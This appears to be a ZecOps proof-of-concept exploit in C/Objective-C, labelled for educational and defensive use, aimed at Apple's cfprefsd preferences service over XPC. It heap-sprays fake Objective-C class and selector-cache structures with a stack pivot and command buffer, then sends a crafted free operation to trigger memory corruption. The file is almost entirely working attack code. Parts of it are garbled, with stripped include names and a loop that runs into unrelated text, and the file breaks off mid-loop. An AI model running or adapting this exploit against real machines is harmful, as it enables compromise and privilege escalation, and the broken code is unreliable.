// (c) 2019 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes // Intended only for educational and defensive purposes only. // Use at your own risk. #include #import #include #include #include #include #include #define AGENT 1 #define FILL_DICT_COUNT 0x600 #define FILL_COUNT 0x1000 #define FREE_COUNT 0x2000 #define FILL_SIZE (0xc0) int need_stop = 0; struct heap_spray { void* fake_objc_class_ptr; uint32_t r10; uint32_t r4; void* fake_sel_addr; uint32_t r5; uint32_t r6; uint64_t cmd; uint8_t pad1[0x3c]; uint32_t stack_pivot; struct fake_objc_class_t { char pad[0x8]; void* cache_buckets_ptr; uint32_t cache_bucket_mask; } fake_objc_class; struct fake_cache_bucket_t { void* cached_sel; void* cached_function; } fake_cache_bucket; char command[32]; }; void fill_once(){ #if AGENT xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0); #else xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); #endif xpc_connection_set_event_handler(client, ^void(xpc_object_t response) { xpc_type_t t = xpc_get_type(response); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION)); need_stop = 1 ; } //printf("received an event\n"); }); xpc_connection_resume(client); xpc_object_t main_dict = xpc_dictionary_create(NULL, NULL, 0); xpc_object_t arr = xpc_array_create(NULL, 0); xpc_object_t spray_dict = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64(spray_dict, "CFPreferencesOperation", 8); xpc_dictionary_set_string(spray_dict, "CFPreferencesDomain", "xpc_str_domain"); xpc_dictionary_set_string(spray_dict, "CFPreferencesUser", "xpc_str_user"); char key[100]; char value[FILL_SIZE]; memset(value, "A", FILL_SIZE); *((uint64_t *)value) = 0x4142010180202020; //*((uint64_t *)value) = 0x180202020; value[FILL_SIZE-1]=0; for (int i=0; inull0 = 0; hs->cmd = -1; hs->fake_objc_class_ptr = &hs->fake_objc_class; hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket; hs->fake_objc_class.cache_bucket_mask = 0; hs->fake_sel_addr = &hs->fake_cache_bucket.cached_sel; // nasty hack to find the correct selector address hs->fake_cache_bucket.cached_sel = 0x7fff00000000 + (uint64_t)NSSelectorFromString(@"dealloc"); hs->fake_cache_bucket.cached_function = 0xdeadbeef; size_t heap_spray_pages = 0x40000; size_t heap_spray_bytes = heap_spray_pages * 0x1000; char* heap_spray_copies = malloc(heap_spray_bytes); for (int i = 0; i < heap_spray_pages; i++){ memcpy(heap_spray_copies+(i*0x1000), map, 0x1000); } xpc_dictionary_set_data(main_dict, "heap_spray", heap_spray_copies, heap_spray_bytes); //NSLog(@"%@", main_dict); xpc_connection_send_message(client, main_dict); printf("fill once\n"); xpc_release(main_dict); } void trigger_vul(){ #if AGENT printf("AGENT\n"); xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0); #else printf("DAEMON\n"); xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); #endif xpc_connection_set_event_handler(conn, ^(xpc_object_t response) { xpc_type_t t = xpc_get_type(response); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION)); need_stop = 1 ; } }); xpc_connection_resume(conn); xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0); xpc_object_t arr = xpc_array_create(NULL, 0); xpc_object_t arr_free = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64(arr_free, "CFPreferencesOperation", 4); xpc_array_append_value(arr, arr_free); for (int i=0; i